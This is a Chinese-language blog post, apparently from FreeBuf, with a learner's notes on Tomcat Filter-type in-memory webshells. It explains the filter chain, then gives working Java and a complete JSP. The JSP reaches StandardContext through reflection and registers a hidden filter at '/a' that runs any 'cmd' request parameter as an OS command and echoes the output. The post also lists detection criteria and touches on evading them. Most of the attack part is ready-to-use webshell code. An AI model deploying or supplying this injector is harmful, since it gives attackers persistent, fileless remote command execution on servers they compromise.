biandanjun
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Filter内存马
StandardContext是Tomcat中负责与底层交互的Context
Filter 原理分析
在filterchain中添加恶意filter 来充当webshell角色
流程
客户端向server发送http请求
在server里面链式调用doFilter
最后请求web资源
再链式返回
返回HTTP响应
在StandardWrapperValve#invoke中会利用ApplicationFilterFactory来创建filterChain(filter链)
首先创建一个ApplicationFilterChain对象
在createFilterChain里面,先创建一个空的filterchain,再将filterchain添加到request对象中去
然后在后面利用getparent获取wrapper的父亲context(即当前web应用),然后从context中获取该web应用所有的filters即这里的filtermaps
可以看到一共有两个filterMaps,一个是系统自带的filter,另一个是我们自己写的,filtermaps本质就是一个过滤器与作用url的对应表
下面是请求路径,我们这里写的/test
接下来根据请求路径在filtermaps里面寻找对应的filter名称
如果找到匹配的,则通过addFilter函数将该filter的filterConfig添加到filterChain中,跟进addfilter
先判断该filterconfig是否在filterchain中
如果chain中满了就扩容
最后一步将filterconfig添加到filterchain对象的filters成员变量中,俗称添加到filterchain中
现在filterchain装配完毕,里面存着所有与请求url匹配的filterconfig
继续往下走,调用filterChain的doFilter方法,就会依次调用Filter链上每个filter的doFilter方法
跟进doFilter,发现调用了internalDoFilter方法
首先取出filterConfig,再对filterConfig进行getFilter获得Filter1,调用Filter1的dofilter方法
跟进调用我们自定义过滤器的doFilter方法,从而触发了相应的代码
所以就是
根据请求的url,从context的FilterMaps中找出与之URL对应的Filter名称
再根据filter名称从FilterConfigs中寻找对应名称的FilterConfig(applicationfilterconfig对象)
找到对应的FilterConfig之后添加到FilterChain中,并返回FilterChain
对于chain中的每一个filterconfig,先从FilterConfig中获取Filter,然后调用Filter的doFilter方法
大概就是先获取context中的FilterMaps然后与urlpattern匹配,对匹配上的filter进行挨个调用。那我们可以添加恶意filtermap到filtermaps中去,这样当 urlpattern匹配的时候就会去找到对应FilterName的FilterConfig,然后添加到FilterChain中,最终触发dofilter恶意代码
Filter型内存马注入
所以我们需要将恶意的filtermap添加到filtermaps中去并创建对应的filterconfig以及filterdef
需要用到StandardContext来添加,因为filtermaps是其成员变量
以下是如何获取standardContext对象
//先获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
// 反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext =(ApplicationContext) appContextField.get(servletContext);
// 反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
获取到standardContext对象后,我们就可以动态注册恶意filter了
standardContext有三个成员变量
filterConfigs
存放filterConfig的map,键(key)为过滤器名,值(value)为filterConfig对象,其中主要存放FilterDef和Filter对象等信息
filterDefs
存放filterDef的数组,而FilterDef中存储着我们过滤器名,过滤器实例等基本信息
filterMaps
一个存放FilterMap的数组,在FilterMap中主要存放了FilterName和其对应的URLPattern
将我们的filter添加到这三个里面才算注册成功
我们如果可以控制这几个变量就可以注入我们的内存马
大致流程
创建一共恶意Filter
利用FilterDef 对 Filter进行一个封装
将FilterDef添加到FilterDefs和FilterConfig中
创建一共FilterMap,将我们的Filter与urlpattern相对应,存放到filterMaps中
由于Filter生效会有一共先后顺序,所以一般是放在最前面,让我们的Filter最先触发
StandardContext会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,每次请求都会将我们的filter加入到filterchain中去
根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的Filter名称
根据Filter名称去 FilterConfigs中寻找对应名称的 FilterConfig
找到对应的 FilterConfig 之后添加到 FilterChain中,并返回 FilterChain
filterChain中调用 internalDoFilter遍历获取 chain中的FilterConfig,然后从 FilterConfig中获取 Filter,然后调用Filter 的 doFilter方法
这里想一下,什么是FilterConfig,它存储了什么
存储的FilterDef和Filter对象
FilterDef是存放过滤器名,过滤器实例,作用URL等基本信息
ServletContext跟StandardContext的关系
Tomcat中的对应的ServletContext实现是ApplicationContext
在web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装
而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等
总结
个人理解Filter内存马就是通过自己写代码编写ApplicationContext然后写出 filterName,filterMaps,filterConfigs最后把恶意代码放到filter的doFilter里面,进行设置,现在还是感觉这不是还是需要一个jsp文件吗,因为无文件落地,但是感觉还是需要上传一个jsp文件才能成功运行\
Filter内存马免杀入门
Filter内存马的查杀思路主要是这四条
Filter名称是否合理
Filter对应的类名是否合理
Filter对应的类是否在classpath下
网站web.xml中是否存在改filter
在重新看内存马的时候,发现其实笔记根本不能提供任何思路,可见写得有多差
痛定思痛
重新写一个,上面的只能是算相关知识点,不能来具体构造一个可以使用Filter内存马
不敢相信当时是如何学习的
普通filter
首先是一个普通的filter,我们要了解一个普通的filter是如何实现的
package servlet;
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// System.out.println("执行了过滤操作");
// filterChain.doFilter(servletRequest,servletResponse);
// Runtime.getRuntime().exec("calc");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
//一个普通的过滤器,当传入的参数有shell的时候,执行shell传入的参数
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中");
}
@Override
public void destroy() {
}
}
这就是一个普通的filter
调试一下看看是如何进行创建filter的
这个前面的servlet内存马也是这样调试,先找到打开冰箱的方法(动态注册filter)
跟进这个doFilter
这里就是我们的filters
是包含 ApplicationFilterConfig里面的filter
这里的1是Tomcat自带的filter
然后不通过if判断,直接跳到了下面的internalDoFilter
跟进internalDoFilter
Filter是如何被添加到filterMap里面的
最先必须获得一个StandardContext的对象,这一步在动态注册Servlet的时候也会用上
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
具体分析见哔哩哔哩的白日梦组长的内存马系列第一期
创建Filter
使用FilterDef封装Filter对象,将FilterDef添加到FilterDefs
servletContext.addFilter中的逻辑如下
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
this.context.addFilterDef(filterDef);
这里的context就是我们第一步需要获取的standardContext
在addFilter函数的最后创建并返回了ApplicationFilterRegistrration对象,并通过addMappingForUrlPatterns方法注册路由
具体就是这样的
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);
//上面是对filterMap的修饰
//下面是将filterMap添加倒addFilterMapBefore,也就是把我们添加的filter添加到这个filters的最前面
this.context.addFilterMapBefore(filterMap);
使用ApplicationFilterConfig封装filterDef对象,添加到filterConfigs中
先获取在standardContext中存储的filterConfigs变量
Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map)Configs.get(standardContext);
之后通过反射生成ApplicationFilterConfig对象,并将其放入filterConfigs hashMap中
Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor constructor= ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = ("org.apache.catalina.core.ApplicationFilterConfig")constructor.newInstance(standardContext,filterDef);
Filter的实现
我们要现实现一个Filter,在类里面实现,不是单独实现的
Filter filter = new Filter() {
//这是filter初始化的逻辑,具体不用多写
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 123初始构造完成");
}
//这是filter的逻辑,当我们filter监测到该检测的东西了之后就会执行这里面的逻辑
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//先获取参数里面的cmd
String cmd = servletRequest.getParameter("cmd");
if (cmd!=null){
System.out.println("调用了cmd");
//创建一个进程用来运行cmd的命令
Process process = Runtime.getRuntime().exec(cmd);
//创建一个缓冲输入流,把我们cmd命令运行的结果放到这个缓冲输入流里面去
BufferedReader bufferedReader=new BufferedReader(
new InputStreamReader(process.getInputStream())
);
//StringBuilder的内容是可变的
StringBuilder stringBuilder = new StringBuilder();
String line;
//让line为从缓冲区里面读出来的东西,如果有就在StringBuilder的后面加line
//说白了如果有东西就把东西都写到StringBuilder里面去
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+'\n');
}
//下面这一排太挤了
// servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
//在doFilter中实现命令执行回显功能
filterChain.doFilter(servletRequest,servletResponse);
}
};
上面是filter具体逻辑
下面是filter如何动态注册到tomcat里面去
当然,大多数我们都是jsp实现的,所以在jsp里面我们可以在jsp特定的方法里面写我们要注入的filter类,比如
<%@ page import="java.io.IOException" %>
<%@ page import="org.eclipse.jdt.internal.compiler.codegen.AnnotationContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="jdk.nashorn.internal.runtime.regexp.joni.Config" %><%--
Created by IntelliJ IDEA.
User: biandanjun
Date: 2023/3/30
Time: 14:53
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
class filterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd = servletRequest.getParameter("cmd");
if (cmd!=null){
System.out.println("调用了cmd");
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader=new BufferedReader(
new InputStreamReader(process.getInputStream())
);
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line+'\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
//在doFilter中实现命令执行回显功能
filterChain.doFilter(servletRequest,servletResponse);
}
};
%>
<%
// 我来试试,先打开冰箱
//先老办法获得ServletContext,因为ServletContext的context属性是ApplicationContext对象
ServletContext servletContext = request.getSession().getServletContext();
//得到servletcontext,通过反射获取servletContext对象的context属性,得到的就是ApplicationContext对象
Field apptx = servletContext.getClass().getDeclaredField("context");
apptx.setAccessible(true);
//这一步是将ApplicationContext和上面的Servlet联系起来
ApplicationContext applicationContext = (ApplicationContext) apptx.get(servletContext);
//stdctx就是存在于ApplicationContext对象的context所代表的standardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
//同理,将得到的standardContext和新的standardContext联系起来,具体为啥我也不太清楚
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//获取filterConfigs
Field configs =standardContext.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
//也是将新的filterConfigs和得到的filterConfigs联系起来,为什么呢????????????????
Map filterConfigs = (Map) configs.get(standardContext);
//这里定义filter的name
String name = "filterDemo";
//这里判断是否存在叫filterDemo的filter,如果没有就创建一个
if (filterConfigs.get(name) == null){
filterDemo filter = new filterDemo();
//新建一个filterDef对象
FilterDef filterDef = new FilterDef();
//设置新filter的name
filterDef.setFilterName(name);
//设置filter的类
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
//添加filterDef
standardContext.addFilterDef(filterDef);
//创建filterMap,设置filter和url的映射关系
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/a");
filterMap.setFilterName(name);
//固定格式(应该是)
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加filterMap到最前面
standardContext.addFilterMapBefore(filterMap);
//反射创建filterConfigs,传入StandardContext与filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//将filter传入
filterConfigs.put(name,filterConfig);
out.println("success");
}
else {
out.println("has hash has has");
}
%>
</body>
</html>
这就是一个filter内存马
总结一下
挺乱的filter内存马
如果我们要做一个jsp内存马的话,可以这样
先开个jsp是首先的,哈哈哈哈这是第一步
然后第二步是我们在jsp里面写一个class,就是我们要内存马实现的何种逻辑,在
<%!
这里面实现我们的逻辑,比如
class filterDemo implements Filter{
xxxxxxx
}
尽情的写你要实现的逻辑,写到doFilter里面,有一些固定格式是怎么写的就不记录了,网上都搜得到
%>
第三步是动态添加我们的filter添加到tomcat里面去,说实话我没有搞明白这个的具体逻辑
我只知道有这几步
要获得最重要的standardContext
那么就先要获取servletContext
在servletContext的嘴巴(context)里面把ApplicationContext对象提出来
再在ApplicationContext对象的嘴巴(context)里面把standardContext对象提取出来
这些都是固定格式了啊
然后来尝试添加我们的filter进去
首先要判断你那个diao名字是不是已经被用了,不然到底进没进去你都不知道
然后new一个对象,这个对象就是我们第二步里面创建的filterDemo的对象
再新建一个filterDef对象,把我们要添加的filter的属性都经过这个filterDef对象来设置
把filterDef添加到我们的standardContext里面
创建filterMap,我个人理解的filterMap就是给你这个filter添加映射的,类似@WebServlet("");的作用,并且记得把filterMap添加到standardContext里面
然后就是不能理解的filterConfigs了,我暂时还不能理解filterConfigs是拿来干嘛的
这里的filterConfigs是通过反射来获取的。先获取构造器,然后newInstance
但是我们创建的filterConfigs里面需要传入的是standardContext和filterDef
疑惑的是filterDef不是已经传入了standardContext里面了吗
最后就是将filter传入了,是通过filterConfigs.put(name,filterConfig);的方式,这里这个filterConfig就是第五步我们得到的
就这样了,name是filter的name
关于filterConfigs
网上说的是包含了所有与filter对应的filterDef信息以及filter实例,进行filter管理
但是有一些疑点
为什么每次得到了属性得开一个新的属性来赋值,而不是直接用那个属性
还有一个好像是standardContext里面已经有了filterDefs属性,但是在新建filterConfig的实话还需要把standardContext和filterDef都传进去,这不造成属性重复吗?
ApplicationFilterConfig filterConfig = ("org.apache.catalina.core.ApplicationFilterConfig")constructor.newInstance(standardContext,filterDef);
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)